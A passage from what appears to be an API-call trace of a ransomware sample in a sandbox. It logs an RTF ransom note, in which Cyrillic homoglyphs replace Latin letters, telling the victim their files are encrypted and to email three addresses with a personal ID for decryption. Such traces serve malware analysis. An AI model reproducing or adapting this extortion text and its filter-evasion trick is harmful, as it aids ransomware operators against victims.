s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r 